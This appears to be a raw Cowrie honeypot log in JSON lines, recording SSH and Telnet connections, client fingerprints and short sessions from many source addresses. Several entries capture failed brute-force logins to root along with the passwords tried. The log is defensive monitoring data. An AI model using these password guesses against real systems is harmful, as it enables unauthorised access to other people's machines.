{"eventid":"cowrie.login.failed","username":"root","password":"WW123456.","message":"login attempt [root/WW123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:50.443088Z","src_ip":"43.135.177.217","session":"d8294ec6891d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:51.515524Z","src_ip":"43.135.177.217","session":"d8294ec6891d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":41048,"dst_ip":"10.17.0.5","dst_port":22,"session":"95acb08f3521","protocol":"ssh","message":"New connection: 192.169.250.238:41048 (10.17.0.5:22) [session: 95acb08f3521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:54.375645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:54.383962Z","src_ip":"192.169.250.238","session":"95acb08f3521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:54.459844Z","src_ip":"192.169.250.238","session":"95acb08f3521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1981","message":"login attempt [root/1981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:54.799371Z","src_ip":"192.169.250.238","session":"95acb08f3521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":39110,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c7465fa539b","protocol":"ssh","message":"New connection: 43.153.31.20:39110 (159.203.135.109:22) [session: 3c7465fa539b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.002923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.009648Z","src_ip":"43.153.31.20","session":"3c7465fa539b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.078947Z","src_ip":"43.153.31.20","session":"3c7465fa539b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":51780,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca60769dc23b","protocol":"ssh","message":"New connection: 72.52.132.30:51780 (159.203.135.109:22) [session: ca60769dc23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.269907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.276194Z","src_ip":"72.52.132.30","session":"ca60769dc23b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.307508Z","src_ip":"72.52.132.30","session":"ca60769dc23b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2!@","message":"login attempt [root/1qazxsw2!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.386492Z","src_ip":"43.153.31.20","session":"3c7465fa539b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monica123","message":"login attempt [root/monica123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.486067Z","src_ip":"72.52.132.30","session":"ca60769dc23b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":58174,"dst_ip":"159.203.135.109","dst_port":22,"session":"4da1d4e40b89","protocol":"ssh","message":"New connection: 37.143.61.241:58174 (159.203.135.109:22) [session: 4da1d4e40b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.818834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.823696Z","src_ip":"37.143.61.241","session":"4da1d4e40b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.878269Z","src_ip":"192.169.250.238","session":"95acb08f3521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:55.906712Z","src_ip":"37.143.61.241","session":"4da1d4e40b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nat123","message":"login attempt [root/nat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:56.271142Z","src_ip":"37.143.61.241","session":"4da1d4e40b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:56.458011Z","src_ip":"43.153.31.20","session":"3c7465fa539b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:56.521732Z","src_ip":"72.52.132.30","session":"ca60769dc23b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:57.357774Z","src_ip":"37.143.61.241","session":"4da1d4e40b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":53756,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7039966d0b6","protocol":"ssh","message":"New connection: 43.130.35.229:53756 (159.203.135.109:22) [session: c7039966d0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:57.739674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:57.744789Z","src_ip":"43.130.35.229","session":"c7039966d0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:57.817426Z","src_ip":"43.130.35.229","session":"c7039966d0b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"night123","message":"login attempt [root/night123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:58.126304Z","src_ip":"43.130.35.229","session":"c7039966d0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:59.198160Z","src_ip":"43.130.35.229","session":"c7039966d0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.93090581893921,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:59.815573Z","src_ip":"152.42.224.71","session":"b7be4f027a87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.642643451690674,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:03.979702Z","src_ip":"152.42.224.71","session":"9a53c524de0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41674,"dst_ip":"10.17.0.5","dst_port":23,"session":"68eb495484ed","protocol":"telnet","message":"New connection: 152.42.224.71:41674 (10.17.0.5:23) [session: 68eb495484ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:04.847013Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"908a87782cd6","protocol":"telnet","message":"New connection: 152.42.224.71:60214 (10.17.0.5:23) [session: 908a87782cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:06.237344Z"}
{"eventid":"cowrie.session.closed","duration":24.26425290107727,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:11.970559Z","src_ip":"152.42.224.71","session":"4a3b2d0a9d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00356984138489,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:14.692982Z","src_ip":"152.42.224.71","session":"ec5e6078d9d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":37086,"dst_ip":"10.17.0.5","dst_port":22,"session":"20740ce0e7fb","protocol":"ssh","message":"New connection: 159.65.8.74:37086 (10.17.0.5:22) [session: 20740ce0e7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:14.755685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:14.766082Z","src_ip":"159.65.8.74","session":"20740ce0e7fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:15.021398Z","src_ip":"159.65.8.74","session":"20740ce0e7fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.554470777511597,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:15.717284Z","src_ip":"152.42.224.71","session":"be92a868ce3f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"nvidia1","message":"login attempt [root/nvidia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:16.075628Z","src_ip":"159.65.8.74","session":"20740ce0e7fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:17.333847Z","src_ip":"159.65.8.74","session":"20740ce0e7fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":65322,"dst_ip":"159.203.135.109","dst_port":22,"session":"6124c5d80d92","protocol":"ssh","message":"New connection: 194.59.206.2:65322 (159.203.135.109:22) [session: 6124c5d80d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:20.174787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:20.179733Z","src_ip":"194.59.206.2","session":"6124c5d80d92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:20.261661Z","src_ip":"194.59.206.2","session":"6124c5d80d92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:20.347917Z","src_ip":"194.59.206.2","session":"6124c5d80d92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57232,"dst_ip":"10.17.0.5","dst_port":23,"session":"95e069ba59b1","protocol":"telnet","message":"New connection: 152.42.224.71:57232 (10.17.0.5:23) [session: 95e069ba59b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:22.009342Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57244,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb821e7b26e8","protocol":"telnet","message":"New connection: 152.42.224.71:57244 (10.17.0.5:23) [session: fb821e7b26e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:22.112834Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:24.435610Z","src_ip":"120.27.154.152","session":"4d7c56985374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":92.99996757507324,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:26.843151Z","src_ip":"152.42.224.71","session":"e81741d1dcfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":59694,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdf5ee09ee4e","protocol":"ssh","message":"New connection: 181.47.9.103:59694 (10.17.0.5:22) [session: cdf5ee09ee4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:32.268078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:22:32.273014Z","src_ip":"181.47.9.103","session":"cdf5ee09ee4e","protocol":"ssh"}
